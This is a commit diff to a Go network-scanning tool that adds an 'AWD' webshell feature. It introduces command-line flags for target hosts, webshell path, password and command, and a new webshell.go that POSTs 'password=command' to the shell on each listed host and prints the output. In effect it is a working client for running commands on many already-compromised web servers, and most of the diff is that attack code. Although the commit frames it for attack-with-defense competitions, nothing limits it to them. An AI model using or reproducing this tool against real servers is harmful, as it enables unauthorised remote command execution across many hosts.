Skip to content

Commit 1c5c336

Browse files
committed
webshell管理
新增了awd环境下 常用的webshell连接功能
1 parent 9d5fb2d commit 1c5c336

File tree

5 files changed

+93
-2
lines changed

5 files changed

+93
-2
lines changed

Plugins/scanner.go

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,21 @@ func Scan(info common.HostInfo) {
1717
var wg = sync.WaitGroup{}
1818
AddScan("1000003", info, ch, &wg) //webtitle
1919
}
20+
21+
if common.WebShellPasswd != "" && common.WebShellPath!="" && common.WHost!=""{
22+
common.WHosts, _ =common.ParseIP(common.WHost, common.HostFile, common.NoHosts)
23+
for _,host:=range common.WHosts{
24+
common.WebShellPaths = append(common.WebShellPaths, "http://"+host+common.WebShellPath)
25+
}
26+
paths := common.WebShellPaths[1:]
27+
paths=reverse(paths)
28+
for _,path:=range paths{
29+
defer webshell(path,common.Wcommand,common.WebShellPasswd)
30+
_ = recover()
31+
32+
}
33+
}
34+
2035
fmt.Println("start infoscan")
2136
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
2237
if err != nil {
@@ -133,3 +148,16 @@ func IsContain(items []string, item string) bool {
133148
}
134149
return false
135150
}
151+
152+
// 数组倒序
153+
func reverse(arr []string)(arrs []string) {
154+
length := len(arr)
155+
var temp string
156+
for i := 0; i < length/2; i++ {
157+
temp = (arr)[i]
158+
(arr)[i] = (arr)[length-1-i]
159+
(arr)[length-1-i] = temp
160+
}
161+
return arr
162+
}
163+

Plugins/webshell.go

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package Plugins
2+
3+
import (
4+
"fmt"
5+
"io/ioutil"
6+
"net"
7+
"net/http"
8+
"strings"
9+
"time"
10+
)
11+
12+
func webshell(path string,Wcommand string,passwd string) {
13+
data :=passwd+"="+Wcommand
14+
reader :=strings.NewReader(string(data))
15+
request,err := http.NewRequest("POST",path,reader)
16+
defer request.Body.Close()
17+
if err!=nil{
18+
fmt.Println(err.Error())
19+
return
20+
}
21+
request.Header.Set("Content-Type","application/x-www-form-urlencoded")
22+
client :=http.Client{
23+
Transport: &http.Transport{
24+
Dial: func(netw, addr string) (net.Conn, error) {
25+
c, err := net.DialTimeout(netw, addr, time.Second*3) //设置建立连接超时
26+
if err != nil {
27+
return nil, err
28+
}
29+
c.SetDeadline(time.Now().Add(5 * time.Second)) //设置发送接收数据超时
30+
return c, nil
31+
},
32+
},
33+
}
34+
resp,err := client.Do(request)
35+
if err!=nil {
36+
//fmt.Println(err.Error())
37+
fmt.Println(path+" 连接异常")
38+
return
39+
}
40+
41+
respBytes, _ := ioutil.ReadAll(resp.Body)
42+
fmt.Println(string(respBytes))
43+
44+
return
45+
46+
}

common/Parse.go

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -126,7 +126,7 @@ func Readfile(filename string) ([]string, error) {
126126
}
127127

128128
func ParseInput(Info *HostInfo) {
129-
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" && SearchPoc ==""{
129+
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" && SearchPoc =="" && WHost==""{
130130
fmt.Println("Host is none")
131131
flag.Usage()
132132
os.Exit(0)
@@ -179,6 +179,9 @@ func ParseInput(Info *HostInfo) {
179179
}
180180

181181
func ParseScantype(Info *HostInfo) {
182+
if WHost !=""{
183+
return
184+
}
182185
_, ok := PORTList[Scantype]
183186
if !ok {
184187
showmode()
@@ -242,5 +245,8 @@ func showmode() {
242245
for name := range PORTList {
243246
fmt.Println(" [" + name + "]")
244247
}
245-
os.Exit(0)
248+
if WHost=="" {
249+
os.Exit(0)
250+
251+
}
246252
}

common/config.go

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -97,6 +97,13 @@ var (
9797
Socks5Proxy string
9898
Hash string
9999
HostPort []string
100+
WHost string
101+
WHosts []string
102+
WebShellPath string
103+
WebShellPasswd string
104+
WebShellPaths []string
105+
Wcommand string
106+
100107
)
101108

102109
var (

common/flag.go

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,10 @@ func Flag(Info *HostInfo) {
7979
flag.IntVar(&PocNum, "num", 20, "poc rate")
8080
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
8181
flag.StringVar(&SearchPoc, "SearchPoc", "", "Input PocKey Select Poc")
82+
flag.StringVar(&WHost,"WHost","","WebShell Host")
83+
flag.StringVar(&WebShellPath,"WebShellPath","","WebShellPath,as: /1.php")
84+
flag.StringVar(&WebShellPasswd,"WebShellPasswd","","WebShellPasswd,as: 123456")
85+
flag.StringVar(&Wcommand,"Wcommand","","webshell order")
8286

8387
flag.Parse()
8488
}

0 commit comments

Comments
 (0)